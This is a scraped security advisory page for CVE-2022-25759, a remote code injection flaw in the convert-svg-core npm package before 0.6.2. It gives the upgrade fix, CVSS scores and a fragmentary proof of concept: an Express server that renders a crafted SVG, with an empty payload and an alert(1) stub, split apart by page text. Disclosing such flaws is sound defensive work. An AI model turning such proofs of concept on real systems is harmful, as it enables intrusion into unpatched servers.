

## Remote Code Injection

Affecting `convert-svg-core` package, versions <0.6.2

INTRODUCED: 1 JUN 2022 [CVE-2022-25759](#) [?](#)  
CWE-22 [?](#) FIRST ADDED BY SNYK

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### How to fix?

Upgrade `convert-svg-core` to version 0.6.2 or higher.

### Overview

`convert-svg-core` is a package that supports converting SVG into another format using headless Chromium.

Affected versions of this package are vulnerable to Remote Code Injection via sending an `svg` file containing the payload.

### PoC:

```
const { convert } = require('convert-svg-to-png');
const express = require('express');
const fileSvg = ``; // YWxlcnQoMSk= // function
newContent()
{document.open(),document.write('data'),document.close();}
const app = express();
app.get('/poc', async (req, res)=>{
  try {
    const png = await convert(fileSvg);
    res.set('Content-Type', 'image/png');
    res.send(png);
  } catch (e) {
```

9.9

CRITICAL

### Snyk CVSS

Exploit Maturity	Proof of concept <a href="#">?</a>
Attack Complexity Low <a href="#">?</a>	
Scope	Changed <a href="#">?</a>
Confidentiality	HIGH <a href="#">?</a>
Integrity	HIGH <a href="#">?</a>
Availability	HIGH <a href="#">?</a>

[See more](#)

> NVD

9.8 CRITICAL

Do your applications use this vulnerable package?

```
console.log(e); res.send(""); } ));  
app.listen(3000, ()=>{ console.log('started');  
});
```



## References

- [GitHub Commit](#)
- [GitHub Fix Issue](#)
- [GitHub Issue](#)

the vulnerable package.

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

[Test your applications](#)

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SnykSNYK-JS-ID CONVERTSVGCORE-2849633

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Disclosed 1 Jun 2022

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Credit Manh Nguyen Van

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